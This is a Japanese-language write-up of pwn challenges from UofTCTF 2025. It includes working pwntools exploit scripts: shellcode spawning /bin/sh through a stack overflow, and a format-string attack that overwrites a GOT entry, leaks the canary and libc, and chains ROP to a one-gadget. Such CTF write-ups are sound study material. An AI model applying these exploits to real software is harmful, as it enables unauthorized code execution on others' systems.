UofTCTF 2025
ソロ参加でpwn3問+α解いて156/897位
Baby Pwn (pwn)
BOFでreturn to winするだけなので割愛
Baby Pwn 2 (pwn)
前問題と同様のBOFだがwin関数が無い
stackが実行可能でバッファの開始位置がリークされるので、シェルコードを書きましょうという問題
pwntoolsのshellcraft機能を使おうとしたけど上手くいかなかった 面倒なのでchatgptにアセンブリを書いてもらった
ハマった点として、スタックポインタの位置が悪く途中でシェルコードが破壊されてしまうので、最初にsub rsp, 0x100として退避させている
code: (python)
def exploit():
recv()
addr = int(recv()3, 16)
payload = asm("""
sub rsp, 0x100
xor rdi, rdi # Clear rdi (set rdi = 0)
push rdi # Push NULL onto the stack
mov rdi, 0x68732f6e69622f # "/bin/sh" in hexadecimal
push rdi # Push "/bin/sh" onto the stack
mov rdi, rsp # Set rdi to point to "/bin/sh"
xor rsi, rsi # Clear rsi (set rsi = 0, argv = NULL)
xor rdx, rdx # Clear rdx (set rdx = 0, envp = NULL)
mov rax, 59 # Syscall number for execve
syscall # Execute the syscall
""")
assert len(payload) <= 72
payload += b"\x90" * (72-len(payload))
sendafter(": ", payload + p64(addr))
return 0
Echo (pwn)
ソースコードが配られてないのでghidraでデコンパイルした
code: (c)
long in_FS_OFFSET;
char local_11;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
read(0,&local_11,0x100);
printf(&local_11);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
セキュリティ機構はこんな感じで、canary, PIEが有効
code:_
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
バッファとしてchar型が使われてるので、実質1byteのサイズに対し書き込んでいる
よって1文字(+改行文字)入力しただけでcanary破壊して落ちることになる
自明なFSBがあるため、真っ先に思い付くのはgotの__stack_chk_fail書き換えだが、PIEが有効なので簡単にはいかない
そこで、stack上にすでに存在するポインタを利用することを考える
リターンアドレスに存在するmain()のアドレスが下位2byteを除いてgotと一致していることを考えると、BOFで下位byteのみ__stack_chk_fail@got.pltのアドレスに書き換えることでFSBでの書き込み先アドレスとしてそれを参照できるようになる
このとき普通に入力すると改行文字0x0aが邪魔になってしまうが、pwntoolsのsend()関数を使うことで改行なしで入力できた
アドレスの下位2byteのうち1nibbleのみaslrによって変動するので、1/16の確率で正しいアドレスに書き換えることができる
以上により__stack_chk_fail@got.pltの書き換えが可能になったので、あとはやるだけ
stack_chk_failから関数の最初に戻るようにし、2周目で再びFSBによってstack上にあるcanaryとlibc addressをリークする
3周目でcanaryを復元してstack_chk_failを回避しつつROP (one-gadget RCE)
code: (python)
pop_rbx = 0x001afb20
def exploit():
payload = b"%20988c%9$hn"
assert len(payload) <= 17
while len(payload) < 17: payload += b"a"
payload += b"\x18\x80"
io.send(payload)
try:
res = io.recvuntil(b"\x18\x80")
except EOFError:
return 1
if b"stack" in io.recv(): return 1
payload = b"%32$lx %34$lx ."
io.send(payload)
res = recv(" .")
canary = int(res0.decode(), 16)
libc_leak = int(res1.decode(), 16)
libc_base = libc_leak - 0x2a28b
print("leaked canary:", hex(canary))
print("leaked libc:", hex(libc_leak))
print("libc base:", hex(libc_base))
payload = b"\0" + p64(canary) + b"a" * 8
payload += p64(libc_base + pop_rbx) + p64(0)
payload += p64(libc_base + 0x583dc) # one-gadget
send(payload)
return 0